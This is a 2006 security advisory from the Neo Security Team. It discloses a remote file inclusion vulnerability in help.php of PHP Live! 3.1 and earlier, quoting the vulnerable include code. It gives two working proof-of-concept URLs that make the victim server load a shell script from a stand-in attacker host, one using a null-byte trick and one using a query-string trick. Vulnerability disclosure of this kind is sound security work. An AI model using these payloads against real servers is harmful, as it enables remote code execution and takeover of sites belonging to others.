phplive31-rfi.txt
Posted on 09 October 2006
/* -------------------------------------------------------- [N]eo [S]ecurity [T]eam [NST] - Advisory #25 - 08/10/06 -------------------------------------------------------- Program: PHP Live! Homepage: http://www.phplivesupport.com/ Vulnerable Versions: 3.1 and prior Risk: High! Impact: Critical Risk -==PHP Live! <= 3.1 help.php Remote File Inclusion vulnerability==- --------------------------------------------------------- - Description --------------------------------------------------------- PHP Live! enables live help and live customer support communication directly from your website. With PHP Live!, you can provide one-on-one chat assistance in real-time, answer visitor questions and add that extra human touch to your website. - Tested --------------------------------------------------------- localhost & many sites - Explotation --------------------------------------------------------- Vulnerable code: ==[ help.php 30 ]============================= [...] <?php $css_path = ( !isset( $css_path ) ) ? $css_path = "./" : $css_path ; include_once( $css_path."css/default.php" ) ; ?> [...] ==[ end help.php ]============================ How we can see there's an arbitrary file inclusion, so we can just include a file from another server, executing the php code in the victim's server. Proof of Concept: http://victim.com/phplive/help.php?css_path=http://www.attacker.com/shell.foo%00 We use a NULL byte at the final of the string because include_once() take a null byte like the end of a string. In this way, "css/default.php" doesn't appears at the end of the var. If you don't wanna use a NULL byte you can do something like: http://victim.com/phplive/help.php?css_path=http://www.attacker.com/shell.foo?foo= In this way $foo has css/default.php in the attacker script. Note: this vulnerability is present only if register_globals is turned on. There are a lot of Local and Remote File Inclusion vulnerabilities in this script... but there is no reason to publish it. - How to fix it? More information? -------------------------------------------------------- Visit our forum to know how to fix it or to get more information. http://www.neosecurityteam.net/foro/ - References -------------------------------------------------------- http://www.neosecurityteam.net/index.php?action=advisories&id=25 - Credits -------------------------------------------------------- Discovered by Paisterist -> paisterist.nst [at] gmail [dot] com [N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/ - Greets -------------------------------------------------------- HaCkZaTaN K4P0 Daemon21 Link 0m3gA_x LINUX m0rpheus nikyt0x Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!! @@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@ '@@@@@''@@'@@@''''''''@@''@@@''@@ '@@'@@@@@@''@@@@@@ @@@'''''@@@ '@@'''@@@@'''''''''@@@''''@@@ @@@@''''@@'@@@@@@@@@@''''@@@@@ /* EOF *
